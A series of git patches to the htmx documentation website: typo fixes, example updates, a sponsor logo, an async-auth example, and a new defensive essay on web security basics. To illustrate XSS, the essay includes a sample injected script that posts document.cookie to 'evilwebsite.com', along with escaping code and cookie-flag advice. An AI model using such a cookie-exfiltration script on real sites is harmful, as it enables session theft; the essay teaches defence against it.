From 22c8c345e4f90eae4ed12bf5bfe47b4154d1bbb8 Mon Sep 17 00:00:00 2001 From: Martin Robson Date: Wed, 24 Jan 2024 15:09:17 +0000 Subject: [PATCH 01/15] Add Scala http4s example to docs (server-examples) (#2209) --- www/content/server-examples.md | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/www/content/server-examples.md b/www/content/server-examples.md index 9c6f6931..0d2270e6 100644 --- a/www/content/server-examples.md +++ b/www/content/server-examples.md @@ -114,6 +114,11 @@ These examples may make it a bit easier to get started using htmx with your plat - - +## Scala + +### http4s +- + ## Kotlin ### Ktor From 0b6769a257ac1bf50f3f7228f8a5be5964970f7e Mon Sep 17 00:00:00 2001 From: Christian Clauss Date: Wed, 24 Jan 2024 16:10:37 +0100 Subject: [PATCH 02/15] Fix typos in markdown files (#2177) --- CHANGELOG.md | 2 +- www/content/essays/is-htmx-another-javascript-framework.md | 2 +- www/content/essays/two-approaches-to-decoupling.md | 2 +- www/content/posts/2023-09-22-htmx-1.9.6-is-released.md | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 8fa3d5f0..8b5e1c1a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -38,7 +38,7 @@ ## [1.9.6] - 2023-09-22 * IE support has been restored (thank you @telroshan!) -* Introduced the `hx-disabled-elt` attribute to allow specifing elements to disable during a request +* Introduced the `hx-disabled-elt` attribute to allow specifying elements to disable during a request * You can now explicitly decide to ignore `title` tags found in new content via the `ignoreTitle` option in `hx-swap` and the `htmx.config.ignoreTitle` configuration variable. * `hx-swap` modifiers may be used without explicitly specifying the swap mechanism * Arrays are now supported in the `client-side-templates` extension diff --git a/www/content/essays/is-htmx-another-javascript-framework.md b/www/content/essays/is-htmx-another-javascript-framework.md index 8060ccc6..d5917d61 100644 --- a/www/content/essays/is-htmx-another-javascript-framework.md +++ b/www/content/essays/is-htmx-another-javascript-framework.md @@ -66,7 +66,7 @@ Pushing the user to define the behavior of their application primarily in HTML, No matter when you wrote your htmx application, however, the behavior of an htmx form has always been defined in largely the same way a regular HTML form is: with `
`. With htmx adding additional network functionality, you can finally use `PUT` requests and control where the response goes, but in all other respects—validation, inputs, labels, autocomplete—you have default `` element behavior. -Finally, because htmx simply extends HTML in a very narrow domain (network requests and DOM replacements), most of the "htmx" you write is just plain old HTML. When you have access to complex state management mechanisms, it's incredibly easy to implement a custom collapsable div; when you don't, you might stop long enough to search up the [`
`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/details) element. Whenever a problem can be solved by native HTML elements, the longevity of the code improves tremendously as a result. This is a much less alienating way to learn web development, because the bulk of your knowledge will remain relevant as long as HTML does. +Finally, because htmx simply extends HTML in a very narrow domain (network requests and DOM replacements), most of the "htmx" you write is just plain old HTML. When you have access to complex state management mechanisms, it's incredibly easy to implement a custom collapsible div; when you don't, you might stop long enough to search up the [`
`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/details) element. Whenever a problem can be solved by native HTML elements, the longevity of the code improves tremendously as a result. This is a much less alienating way to learn web development, because the bulk of your knowledge will remain relevant as long as HTML does. In this respect, htmx is much more like JQuery than React (htmx's predecessor, [intercooler.js](https://intercoolerjs.org/), was a JQuery extension), but it improves on JQuery by using a declarative, HTML-based interface: where JQuery made you go to the ` From e47ab4c7449134c34d95374e47eb68bfafa9b43a Mon Sep 17 00:00:00 2001 From: Carson Gross Date: Thu, 1 Feb 2024 13:00:54 -0700 Subject: [PATCH 08/15] sponsor --- www/content/_index.md | 7 ++++++- www/static/img/codereviewbot.svg | 22 ++++++++++++++++++++++ 2 files changed, 28 insertions(+), 1 deletion(-) create mode 100644 www/static/img/codereviewbot.svg diff --git a/www/content/_index.md b/www/content/_index.md index f753bf5b..0e38f079 100644 --- a/www/content/_index.md +++ b/www/content/_index.md @@ -167,10 +167,15 @@ Thank you to all our generous + Deepsource + + + AI Code Review Bot + + Big Sky Software diff --git a/www/static/img/codereviewbot.svg b/www/static/img/codereviewbot.svg new file mode 100644 index 00000000..50004cff --- /dev/null +++ b/www/static/img/codereviewbot.svg @@ -0,0 +1,22 @@ + + + + + + + + + + + + + + + + + + + + + + From b55b9fc1a3d4d4466a603ea7c460bb4d9f7e6718 Mon Sep 17 00:00:00 2001 From: Carson Gross Date: Fri, 2 Feb 2024 11:29:23 -0700 Subject: [PATCH 09/15] add async auth as an example --- www/content/examples/_index.md | 3 +- www/content/examples/async-auth.md | 55 ++++++++++++++++++++++++++++++ 2 files changed, 57 insertions(+), 1 deletion(-) create mode 100644 www/content/examples/async-auth.md diff --git a/www/content/examples/_index.md b/www/content/examples/_index.md index 73ae9e90..1061b801 100644 --- a/www/content/examples/_index.md +++ b/www/content/examples/_index.md @@ -37,9 +37,10 @@ You can copy and paste them and then adjust them for your needs. | [Tabs (Using HATEOAS)](@/examples/tabs-hateoas.md) | Demonstrates how to display and select tabs using HATEOAS principles | | [Tabs (Using JavaScript)](@/examples/tabs-javascript.md) | Demonstrates how to display and select tabs using JavaScript | | [Keyboard Shortcuts](@/examples/keyboard-shortcuts.md) | Demonstrates how to create keyboard shortcuts for htmx enabled elements | -| [Sortable](@/examples/sortable.md) | Demonstrates how to use htmx with the Sortable.js plugin to implement drag-and-drop reordering | +| [Drag & Drop / Sortable](@/examples/sortable.md) | Demonstrates how to use htmx with the Sortable.js plugin to implement drag-and-drop reordering | | [Updating Other Content](@/examples/update-other-content.md) | Demonstrates how to update content beyond just the target elements | | [Confirm](@/examples/confirm.md) | Demonstrates how to implement a custom confirmation dialog with htmx | +| [Async Authentication](@/examples/async-auth.md) | Demonstrates how to handle async authentication tokens in htmx | ## Migrating from Hotwire / Turbo ? diff --git a/www/content/examples/async-auth.md b/www/content/examples/async-auth.md new file mode 100644 index 00000000..5983e1e5 --- /dev/null +++ b/www/content/examples/async-auth.md @@ -0,0 +1,55 @@ ++++ +title = "Async Authentication" +template = "demo.html" ++++ + +This example shows how to implement an an async auth token flow for htmx. + +The technique we will use here will take advantage of the fact that you can delay requests +using the [`htmx:confirm`](@/events.md#htmx:confirm) event. + +We first have a button that should not issue a request until an auth token has been retrieved: + +```html + + + -- + +``` + +Next we will add some scripting to work with an `auth` promise (returned by a library): + +```html + +``` + +Here we use a global variable, but you could use `localStorage` or whatever preferred mechanism +want to communicate the authentication token to the `htmx:configRequest` event. + +With this code in place, htmx will not issue requests until the `auth` promise has been resolved. From 1b7ed8cb8e72d2d76e8c1b3de17f04b79ea798f6 Mon Sep 17 00:00:00 2001 From: Carson Gross Date: Fri, 2 Feb 2024 11:36:09 -0700 Subject: [PATCH 10/15] typo --- www/content/examples/async-auth.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/www/content/examples/async-auth.md b/www/content/examples/async-auth.md index 5983e1e5..657504ee 100644 --- a/www/content/examples/async-auth.md +++ b/www/content/examples/async-auth.md @@ -50,6 +50,6 @@ Next we will add some scripting to work with an `auth` promise (returned by a li ``` Here we use a global variable, but you could use `localStorage` or whatever preferred mechanism -want to communicate the authentication token to the `htmx:configRequest` event. +you want to communicate the authentication token to the `htmx:configRequest` event. With this code in place, htmx will not issue requests until the `auth` promise has been resolved. From 73164952b74757a4f67ee36625f63c0ac735c2ef Mon Sep 17 00:00:00 2001 From: Carson Gross Date: Sun, 4 Feb 2024 08:21:45 -0700 Subject: [PATCH 11/15] add deep dive video to essays page --- www/content/essays/_index.md | 1 + 1 file changed, 1 insertion(+) diff --git a/www/content/essays/_index.md b/www/content/essays/_index.md index 1fe699f8..7e85946a 100644 --- a/www/content/essays/_index.md +++ b/www/content/essays/_index.md @@ -42,6 +42,7 @@ page_template = "essay.html" * [Complexity Budget](@/essays/complexity-budget.md) * [Why htmx Does Not Have a Build Step](@/essays/no-build-step.md) * [Is htmx Just Another JavaScript Framework?](@/essays/is-htmx-another-javascript-framework.md) +* [htmx Implementation Deep Dive (Video)](https://www.youtube.com/watch?v=javGxN-h9VQ) ## Banners
From f18cbc5adfb917e24d683fe92205c5dfa058e84e Mon Sep 17 00:00:00 2001 From: Mark Heptinstall Date: Mon, 5 Feb 2024 20:55:58 +0000 Subject: [PATCH 12/15] Show element used for hx-indicator in value-select example code (#2275) Show element used for hx-indicator in example code Code examples does not include element with class `.htmx-indicator` used for hx-indicator attribute --- www/content/examples/value-select.md | 1 + 1 file changed, 1 insertion(+) diff --git a/www/content/examples/value-select.md b/www/content/examples/value-select.md index e0f59dc4..b77b72be 100644 --- a/www/content/examples/value-select.md +++ b/www/content/examples/value-select.md @@ -25,6 +25,7 @@ Here is the code: ... +
``` From 3d0ec8542ef2111560f8a2926d79a1b72a2d6279 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Sakib=20Had=C5=BEiavdi=C4=87?= Date: Mon, 5 Feb 2024 21:56:32 +0100 Subject: [PATCH 13/15] Fix edit-row example (#2273) --- www/content/examples/edit-row.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/www/content/examples/edit-row.md b/www/content/examples/edit-row.md index cd1027b8..1ca62c1b 100644 --- a/www/content/examples/edit-row.md +++ b/www/content/examples/edit-row.md @@ -42,8 +42,8 @@ Here is the HTML for a row: .then((result) => { if(result.isConfirmed) { htmx.trigger(editing, 'cancel') + htmx.trigger(this, 'edit') } - htmx.trigger(this, 'edit') }) } else { htmx.trigger(this, 'edit') @@ -169,8 +169,8 @@ this makes things a bit nicer to deal with. .then((result) => { if(result.isConfirmed) { htmx.trigger(editing, 'cancel') + htmx.trigger(this, 'edit') } - htmx.trigger(this, 'edit') }) } else { htmx.trigger(this, 'edit') From 2fc76cad58526624b7ce1cc527b80c281b6d0f76 Mon Sep 17 00:00:00 2001 From: Alexander Petros Date: Tue, 6 Feb 2024 16:01:37 -0500 Subject: [PATCH 14/15] Add htmx security essay (#2280) * Add htmx security essay * Change user id prop * Typo fixes * More typos * Add ruby templates and fix "use" typo * Change paragraph structure slightly * Rephrase JSON note * Rephase JSON security point * Yawar edits * Add note about flask --- www/content/essays/_index.md | 1 + .../essays/web-security-basics-with-htmx.md | 322 ++++++++++++++++++ 2 files changed, 323 insertions(+) create mode 100644 www/content/essays/web-security-basics-with-htmx.md diff --git a/www/content/essays/_index.md b/www/content/essays/_index.md index 7e85946a..99caa7fb 100644 --- a/www/content/essays/_index.md +++ b/www/content/essays/_index.md @@ -28,6 +28,7 @@ page_template = "essay.html" ### Building Hypermedia Applications * [A Real World React to htmx Port](@/essays/a-real-world-react-to-htmx-port.md) * [Another Real World React to htmx Port](@/essays/another-real-world-react-to-htmx-port.md) +* [Web Security Basics (with htmx)](@/essays/web-security-basics-with-htmx.md) * [Hypermedia-Driven Applications (HDAs)](@/essays/hypermedia-driven-applications.md) * [Hypermedia Friendly Scripting](@/essays/hypermedia-friendly-scripting.md) * [10 Tips For Building SSR/HDA applications](@/essays/10-tips-for-SSR-HDA-apps.md) diff --git a/www/content/essays/web-security-basics-with-htmx.md b/www/content/essays/web-security-basics-with-htmx.md new file mode 100644 index 00000000..a1611017 --- /dev/null +++ b/www/content/essays/web-security-basics-with-htmx.md @@ -0,0 +1,322 @@ ++++ +title = "Web Security Basics (with htmx)" +date = 2024-02-06 +[taxonomies] +author = ["Alexander Petros"] +tag = ["posts"] ++++ + +As htmx has gotten more popular, it's reached communities who have never written server-generated HTML before. Dynamic HTML templating was, and still is, the standard way to use many popular web frameworks—like Rails, Django, and Spring—but it is a novel concept for those coming from Single-Page Application (SPA) frameworks—like React and Svelte—where the prevalence of JSX means you never write HTML directly. + +But have no fear! Writing web applications with HTML templates is a slightly different security model, but it's no harder than securing a JSX-based application, and in some ways it's a lot easier. + +## Who is guide this for? + +These are web security basics with htmx, but they're (mostly) not htmx-specific—these concepts are important to know if you're putting *any* dynamic, user-generated content on the web. + +For this guide, you should already have a basic grasp of the semantics of the web, and be familiar with how to write a backend server (in any language). For instance, you should know not to create `GET` routes that can alter the backend state. We also assume that you're not doing anything super fancy, like making a website that hosts other people's websites. If you're doing anything like that, the security concepts you need to be aware of far exceed the scope of this guide. + +We make these simplifying assumptions in order to target the widest possible audience, without including distracting information—obviously this can't catch everyone. No security guide is perfectly comprehensive. If you feel there's a mistake, or an obvious gotcha that we should have mentioned, please reach out and we'll update it. + +## The Golden Rules + +Follow these four simple rules, and you'll be following the client security best practices: + +1. Only call routes you control +2. Always use an auto-escaping template engine +3. Only serve user-generated content inside HTML tags +4. If you have authentication cookies, set them with `Secure`, `HttpOnly`, and `SameSite=Lax` + +In the following section, I'll discuss what each of these rules does, and what kinds of attack they protect against. The vast majority of htmx users—those using htmx to build a website that allows users to login, view some data, and update that data—should never have any reason to break them. + +Later on I will discuss how to break some of these rules. Many useful applications can be built under these constraints, but if you do need more advanced behavior, you'll be doing so with the full knowledge that you're increasing the conceptual burden of securing your application. And you'll have learned a lot about web security in the process. + +## Understanding the Rules + +### Only call routes you control + +This is the most basic one, and the most important: **do not call untrusted routes with htmx.** + +In practice, this means you should only use relative URLs. This is fine: + +```html + +``` + +But this is not: + +```html + +``` + +The reason for this is simple: htmx inserts the response from that route directly into the user's page. If the response has a malicious ` +

+``` + +Fortunately this one is so easy to fix that you can write the code yourself. Whenever you insert untrusted (i.e. user-provided) data, you just have to replace eight characters with their non-code equivalents. This is an example using JavaScript: + +```js +/** + * Replace any characters that could be used to inject a malicious script in an HTML context. + */ +export function escapeHtmlText (value) { + const stringValue = value.toString() + const entityMap = { + '&': '&', + '<': '<', + '>': '>', + '"': '"', + "'": ''', + '/': '/', + '`': '`', + '=': '=' + } + + // Match any of the characters inside /[ ... ]/ + const regex = /[&<>"'`=/]/g + return stringValue.replace(regex, match => entityMap[match]) +} +``` + +This tiny JS function replaces `<` with `<`, `"` with `"`, and so on. These characters will still render properly as `<` and `"` when they're used in the text, but can't be interpreted as code constructs. The previous malicious bio will now be converted into the following HTML: + +```html +

+<script> + fetch('evilwebsite.com', { method: 'POST', data: document.cookie }) +</script> +

+``` + +which displays harmlessly as text. + +Fortunately, as established above, you don't have to do your escaping manually—I just wanted to demonstrate how simple these concepts are. Every template engine has an auto-escaping feature, and you're going to want to use a template engine anyway. Just make sure that escaping is enabled, and send all your HTML through it. + +### Only serve user-generated content inside HTML tags + +This is an addendum to the template engine rule, but it's important enough to call out on its own. Do not allow your users to define arbitrary CSS or JS content, even with your auto-escaping template engine. + +```html + + + + + +``` + +And, don't use user-defined attributes or tag names either: +```html + +<{{ user.tag }}> + + + + + + + + +{{ user.name }} +``` + +CSS, JavaScript, and HTML attributes are ["dangerous contexts,"](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html#dangerous-contexts) places where it's not safe to allow arbitrary user input, even if it's escaped. Escaping will protect you from some vulnerabilities here, but not all of them; the vulnerabilities are varied enough that it's safest to default to not doing *any* of these. + +Inserting user-generated text directly into a script tag should never be necessary, but there *are* some situations where you might let users customize their CSS or customize HTML attributes. Handling those properly will be discussed down below. + +## Secure your cookies + +The best way to do authentication with htmx is using cookies. And because htmx encourages interactivity primarily through first-party HTML APIs, it is usually trivial to enable the browser's best cookie security features. These three in particular: + +* `Secure` - only send the cookie via HTTPS, never HTTP +* `HttpOnly` - don't make the cookie available to JavaScript via `document.cookie` +* `SameSite=Lax` - don't allow other sites to use your cookie to make requests, unless it's just a plain link + +To understand what these protect you against, let's go over the basics. If you come from JavaScript SPAs, where it's common to authenticate using the `Authorization` header, you might not be familiar with how cookies work. Fortunately they're very simple. (Please note: this is not an "authentication with htmx" tutorial, just an overview of cookie tokens generally) + +If your users log in with a ``, their browser will send your server an HTTP request, and your server will send back a response that looks something like this: + +``` +HTTP/2.0 200 OK +Content-Type: text/html +Set-Cookie: token=asd8234nsdfp982 + +[HTML content] +``` + +That token corresponds to the user's current login session. From now on, every time that user makes a request to any route at `yourdomain.com`, the browser will include that cookie from `Set-Cookie` in the HTTP request. + +``` +GET /users HTTP/1.1 +Host: yourdomain.com +Cookie: token=asd8234nsdfp982 +``` + +Each time someone makes a request to your server, it needs to parse out that token and determine if it's valid. Simple enough. + +You can also set options on that cookie, like the ones I recommended above. How to do this differs depending on the programming language, but the outcome is always an HTTP request that looks like this: + +``` +HTTP/2.0 200 OK +Content-Type: text/html +Set-Cookie: token=asd8234nsdfp982; Secure; HttpOnly; SameSite=Lax + +[HTML content] +``` + +So what do the options do? + +The first one, `Secure`, ensures that the browser will not send the cookie over an insecure HTTP connection, only a secure HTTPS connection. Sensitive info, like a user's login token, should *never* be sent over an insecure connection. + +The second option, `HttpOnly`, means that the browser will not expose the cookie to JavaScript, ever (i.e. it won't be in [`document.cookie`](https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie)). Even if someone is able to insert a malicious script, like in the `evilwebsite.com` example above, that malicious script cannot access the user's cookie or send it to `evilwebsite.com`. The browser will only attach the cookie when the request is made to the website the cookie came from. + +Finally, `SameSite=Lax` locks down an avenue for Cross-Site Request Forgery (CSRF) attacks, which is where an attacker tries to get the client's browser to make a malicious request to the `yourdomain.com` server—like a POST request. The `SameSite=Lax` setting tells the browser not to send the `yourdomain.com` cookie if the site that made the request isn't `yourdomain.com`—unless it's a straightforward `` link navigating to your page. This is *mostly* browser default behavior now, but it's important to still set it directly. + +In 2024, `SameSite=Lax` is [usually enough](https://security.stackexchange.com/questions/252300/do-i-still-need-a-csrf-token) to protect against CSRF, but there are [additional mitigations](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html) you can consider as well for more sensitive or complicated cases. + +**Important Note:** `SameSite=Lax` only protects you at the domain level, not the subdomain level (i.e. `yourdomain.com`, not `yoursite.github.io`). If you're doing user login, you should always be doing that at your own domain in production. Sometimes the [Public Suffixes List](https://security.stackexchange.com/questions/223473/for-samesite-cookie-with-subdomains-what-are-considered-the-same-site) will protect you, but you shouldn't rely on that. + +## Breaking the rules + +We started with the easiest, most secure practices—that way mistakes lead to a broken UX, which can be fixed, rather than stolen data, which cannot. + +Some web applications demand more complicated functionality, with more user customization; they also require more complicated security mechanisms. You should only break these rules if you are convinced that it is absolutely necessary, and the desired functionality cannot be implemented through alternative means. + +### Calling untrusted APIs + +Calling untrusted HTML APIs is lunacy. Never do this. + +There are cases where you might want to call someone else's JSON API from the client, and that's fine, because JSON cannot execute arbitrary scripts. In that case, you'll probably want to do something with that data to turn it into HTML. Don't use htmx to do that—use `fetch` and `JSON.parse()`; if the untrusted API pulls a fast one and returns HTML instead of JSON, `JSON.parse()` will just fail harmlessly. + +Keep in mind that the JSON you parse might have a *property* that is formatted as HTML, though: + +```json +{ "name": "" } +``` + +Therefore, don't insert JSON values as HTML either—use `innerText` if you're doing something like that. This is well outside the realm of htmx-controlled UI though. + +The 2.0 version of htmx will include an `innerText` swap, if you want to call someone else's API directly from the client and just put that text into the page. + +### Custom HTML controls + +Unlike calling untrusted HTML routes, there are a lot of good reasons to let users do dynamic HTML-formatted content. + +What if, say, you want to let users link to an image? + +```html + +``` + +Or link to their personal website? +```html + +``` + +The default "escape everything" approach escapes forward slashes, so it will bork user-submitted URLs. + +You can fix this in a couple of ways. The simplest, and safest, trick is to let users customize these values, but don't let them define the literal text. In the image example, you might upload the image to your own server (or S3 bucket, or the like), generate the link yourself, and then include it, unescaped. In nunjucks, you use the [safe](https://mozilla.github.io/nunjucks/templating.html#safe) function: + +```html + +``` + +Yes, you're including unescaped content, but it's a link that you generated, so you know it's safe. + +You can handle custom CSS in the same way. Rather than let your users specify the color directly, give them some limited choices, and set the choices based on their input. + +```css +{% if user.favorite_color === 'red' %} +h1 { color: 'red'; } +{% else %} +h1 { color: 'blue'; } +{% endif %} +``` + +In that example, the user can set `favorite_color` to whatever they like, but it's never going to be anything but red or blue. A less trivial example might ensure that only properly-formatted hex codes can be entered, using a regex. You get the idea. + +Depending on what kind of customization you're supporting, securing it might be relatively easy, or quite difficult. Some attributes are ["safe sinks,"](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html#safe-sinks) which means that their values will never be interpreted as code; these are quite easy to secure. If you're going to include dynamic input in ["dangerous contexts,"](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html#dangerous-contexts) you need to research *what* is dangerous about those contexts, and ensure that that kind of input won't make it into the document. + +If you want to let users link to arbitrary websites or images, for instance, that's a lot more complicated. First, make sure to put the attributes inside quotes (most people do this anyway). Then you will need to do something like write a custom escaping function that escapes everything *but* forward slashes (and possibly ampersands), so the link will work properly. + +But even if you do that correctly, you are introducing some new security challenges. That image link can be used to track your users, since your users will request it directly from someone else's server. Maybe you're fine with that, maybe you include other mitigations. The important part is that you are aware that introducing this level of customization comes with a more difficult security model, and if you don't have the bandwidth to research and test it, you shouldn't do it. + +### Non-cookie authentication + +JavaScript SPAs sometimes authenticate by saving a token in the client's local storage, and then adding that to the [`Authorization` header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Authorization) of each request. Unfortunately, there's no way to set the `Authorization` header without using JavaScript, which is not as secure; if it's available to your trusted JavaScript, it's available to attackers if they manage to get a malicious script onto your page. Instead, use a cookie (with the above attributes), which can be set and secured without touching JavaScript at all. + +Why is there an `Authorization` header but no way to set it with hypermedia controls? Well, that's just one of WHATWG's ~~outrageous omissions~~ little mysteries. + +You might need to use an `Authorization` header if you're authenticating the user's client with an API that you don't control, in which case the regular precautions about routes you don't control apply. + +## Bonus: Content Security Policy + +You should also be aware of the [Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy) (CSP), which uses HTTP headers to set rules about the kind of content that your page is allowed to run. You can restrict the page to only load images from your domain, for example, or to disable inline scripts. + +This is not one of the golden rules because it's not as easy to apply universally. There's no "one size fits most" CSP. Some htmx applications make use of inline scripting—the [`hx-on` attribute](https://htmx.org/attributes/hx-on/) is a generalized attribute listener that can evaluate arbitrary scripts (although [it can be disabled](https://htmx.org/docs/#configuration-options) if you don't need it). Sometimes inline scripts are appropriate to preserve [locality of behavior](https://htmx.org/essays/locality-of-behaviour/) on a application that is sufficiently secured against XSS, sometimes inline scripts aren't necessary and you can adopt a stricter CSP. It all depends on your application's security profile—it's on to you to be aware of the options available to you and able to perform that analysis. + +## Is this a step back? + +You might reasonably wonder: if I didn't have to know these things when I was building SPAs, isn't htmx a step back in security? We would challenge both parts of that statement. + +This article is not intended to be a defense of htmx's security properties, but there are a lot of areas where hypermedia applications are, by default, a lot more secure than JSON-based frontends. HTML APIs only send back the information that's supposed to be rendered—it's a lot easier for unintended data to "hide" in a JSON response and leak to the user. Hypermdia APIs also don't lend themselves to implementing a generalized query language, like GraphQL, on the client, which [require a *massively* more complicated security model](https://intercoolerjs.org/2016/02/17/api-churn-vs-security.html). Flaws of all kinds hide in your application's complexity; hypermedia applications are, generally speaking, less complex, and therefore easier to secure. + +You also need to know about XSS attacks if you're putting dynamic content on the web, period. A developer who doesn't understand how XSS works won't understand what's dangerous about using React's [`dangerouslySetInnerHTML`](https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html)—and they'll go ahead and set it the first time they need to render rich user-generated text. It is the library's responsibility to make those security basics as easy to find as possible; it has always been the developer's responsibility to learn and follow them. + +This article is organized to making securing your htmx application a "pit of success"—follow these simple rules and you are very unlikely to code an XSS vulnerability. But it's impossible to write a library that's going to be secure in the hands of a developer who refuses to learn *anything* about security, because security is about controlling access to information, and it will always be the human's job to explain to the computer precisely who has access to what information. + +Writing secure web applications is *hard*. There are plenty of easy pitfalls related to routing, database access, HTML templating, business logic, and more. And yet, if security is only the domain of security experts, then only security experts should be making web applications. Maybe that should be the case! But if only security experts are making web applications, they definitely know how to use a template engine correctly, so htmx will be no trouble for them. + +For everyone else: + +1. Don't call untrusted routes +2. Use an auto-escaping template engine +3. Only put user-generated content inside HTML tags +4. Secure your cookies From fa7223391ccab52eb69c083e0f2996410f8a65b7 Mon Sep 17 00:00:00 2001 From: Nathaniel Sabanski Date: Wed, 7 Feb 2024 13:33:39 -0800 Subject: [PATCH 15/15] Docs: Reference page. Shortened, clarity. (#2282) * Docs: Reference page. Shortened, clarity. * Docs: Reference. Improve hx-select-oob vs hx-swap-oob description. --- www/content/reference.md | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/www/content/reference.md b/www/content/reference.md index 7e10a97b..a50d6cf6 100644 --- a/www/content/reference.md +++ b/www/content/reference.md @@ -16,35 +16,35 @@ title = "Reference" ## Core Attribute Reference {#attributes} -The following are the most common attributes when using htmx. +The most common attributes when using htmx.
| Attribute | Description | |--------------------------------------------------|--------------------------------------------------------------------------------------------------------------------| -| [`hx-boost`](@/attributes/hx-boost.md) | add or remove [progressive enhancement](https://en.wikipedia.org/wiki/Progressive_enhancement) for links and forms | | [`hx-get`](@/attributes/hx-get.md) | issues a `GET` to the specified URL | | [`hx-post`](@/attributes/hx-post.md) | issues a `POST` to the specified URL | -| [`hx-on*`](@/attributes/hx-on.md) | handle events with a inline scripts on elements | -| [`hx-push-url`](@/attributes/hx-push-url.md) | pushes the URL into the browser location bar, creating a new history entry | +| [`hx-on*`](@/attributes/hx-on.md) | handle events with inline scripts on elements | +| [`hx-push-url`](@/attributes/hx-push-url.md) | push a URL into the browser location bar to create history | | [`hx-select`](@/attributes/hx-select.md) | select content to swap in from a response | -| [`hx-select-oob`](@/attributes/hx-select-oob.md) | select content to swap in from a response, out of band (somewhere other than the target) | -| [`hx-swap`](@/attributes/hx-swap.md) | controls how content is swapped in (`outerHTML`, `beforeend`, `afterend`, ...) | -| [`hx-swap-oob`](@/attributes/hx-swap-oob.md) | marks content in a response to be out of band (should swap in somewhere other than the target) | +| [`hx-select-oob`](@/attributes/hx-select-oob.md) | select content to swap in from a response, somewhere other than the target (out of band) | +| [`hx-swap`](@/attributes/hx-swap.md) | controls how content will swap in (`outerHTML`, `beforeend`, `afterend`, ...) | +| [`hx-swap-oob`](@/attributes/hx-swap-oob.md) | mark element to swap in from a response (out of band) | | [`hx-target`](@/attributes/hx-target.md) | specifies the target element to be swapped | | [`hx-trigger`](@/attributes/hx-trigger.md) | specifies the event that triggers the request | -| [`hx-vals`](@/attributes/hx-vals.md) | adds values to the parameters to submit with the request (JSON-formatted) | +| [`hx-vals`](@/attributes/hx-vals.md) | add values to submit with the request (JSON format) |
## Additional Attribute Reference {#attributes-additional} -The table below lists all other attributes available in htmx. +All other attributes available in htmx.
| Attribute | Description | |------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------| +| [`hx-boost`](@/attributes/hx-boost.md) | add [progressive enhancement](https://en.wikipedia.org/wiki/Progressive_enhancement) for links and forms | | [`hx-confirm`](@/attributes/hx-confirm.md) | shows a `confirm()` dialog before issuing a request | | [`hx-delete`](@/attributes/hx-delete.md) | issues a `DELETE` to the specified URL | | [`hx-disable`](@/attributes/hx-disable.md) | disables htmx processing for the given node and any children nodes |